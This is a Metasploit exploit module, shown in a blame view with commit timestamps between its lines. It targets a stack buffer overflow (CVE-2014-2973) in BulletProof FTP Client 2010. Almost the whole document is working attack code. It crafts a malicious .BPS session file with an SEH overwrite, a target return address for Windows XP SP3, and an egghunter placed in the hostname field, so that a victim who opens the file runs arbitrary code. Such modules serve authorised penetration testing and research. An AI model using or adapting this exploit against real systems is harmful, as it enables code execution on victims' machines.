2014-12-20 18:38:22 +01:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2014-12-20 18:38:22 +01:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2014-12-20 18:38:22 +01:00
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
|
include Msf::Exploit::Remote::Egghunter
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'BulletProof FTP Client BPS Buffer Overflow',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
This module exploits a stack-based buffer overflow vulnerability in
|
|
|
|
|
BulletProof FTP Client 2010, caused by an overly long hostname.
|
2015-01-26 11:00:07 -06:00
|
|
|
|
2014-12-20 18:38:22 +01:00
|
|
|
By persuading the victim to open a specially-crafted .BPS file, a
|
|
|
|
|
remote attacker could execute arbitrary code on the system or cause
|
|
|
|
|
the application to crash. This module has been tested successfully on
|
|
|
|
|
Windows XP SP3.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' =>
|
|
|
|
|
[
|
|
|
|
|
'Gabor Seljan'
|
|
|
|
|
],
|
|
|
|
|
'References' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'EDB', '34162' ],
|
|
|
|
|
[ 'EDB', '34540' ],
|
|
|
|
|
[ 'EDB', '35449' ],
|
2016-07-15 12:00:31 -05:00
|
|
|
[ 'OSVDB', '109547' ],
|
2014-12-20 18:38:22 +01:00
|
|
|
[ 'CVE', '2014-2973' ],
|
|
|
|
|
],
|
|
|
|
|
'DefaultOptions' =>
|
|
|
|
|
{
|
2015-09-01 10:46:54 +02:00
|
|
|
'EXITFUNC' => 'thread'
|
2014-12-20 18:38:22 +01:00
|
|
|
},
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x1a",
|
|
|
|
|
'Space' => 2000
|
|
|
|
|
},
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'Windows XP SP3',
|
|
|
|
|
{
|
|
|
|
|
'Offset' => 89,
|
|
|
|
|
'Ret' => 0x74c86a98 # POP EDI # POP ESI # RET [oleacc.dll]
|
|
|
|
|
}
|
|
|
|
|
]
|
|
|
|
|
],
|
|
|
|
|
'Privileged' => false,
|
|
|
|
|
'DisclosureDate' => 'Jul 24 2014',
|
2015-01-06 02:10:25 -06:00
|
|
|
'DefaultTarget' => 0
|
|
|
|
|
))
|
2014-12-20 18:38:22 +01:00
|
|
|
|
2015-01-06 02:10:25 -06:00
|
|
|
register_options(
|
|
|
|
|
[
|
|
|
|
|
OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps'])
|
|
|
|
|
],
|
|
|
|
|
self.class)
|
2014-12-20 18:38:22 +01:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def exploit
|
2015-01-06 02:10:25 -06:00
|
|
|
eggoptions = {
|
2014-12-20 18:38:22 +01:00
|
|
|
:checksum => true,
|
2015-01-06 02:10:25 -06:00
|
|
|
:eggtag => 'w00t'
|
2014-12-20 18:38:22 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
|
|
|
|
|
|
|
|
|
|
sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n"
|
|
|
|
|
sploit << rand_text_alpha(target['Offset'])
|
|
|
|
|
sploit << generate_seh_record(target.ret)
|
|
|
|
|
sploit << hunter + "\r\n" # FTP Server HOST / IP
|
|
|
|
|
sploit << rand_text_numeric(5) + "\r\n" # Port number
|
|
|
|
|
sploit << egg + "\r\n" # Login name
|
|
|
|
|
sploit << rand_text_alpha(8) + "\r\n" # Login password
|
|
|
|
|
|
|
|
|
|
# Create the file
|
2015-01-06 02:10:25 -06:00
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file...")
|
2014-12-20 18:38:22 +01:00
|
|
|
file_create(sploit)
|
|
|
|
|
end
|
|
|
|
|
end
|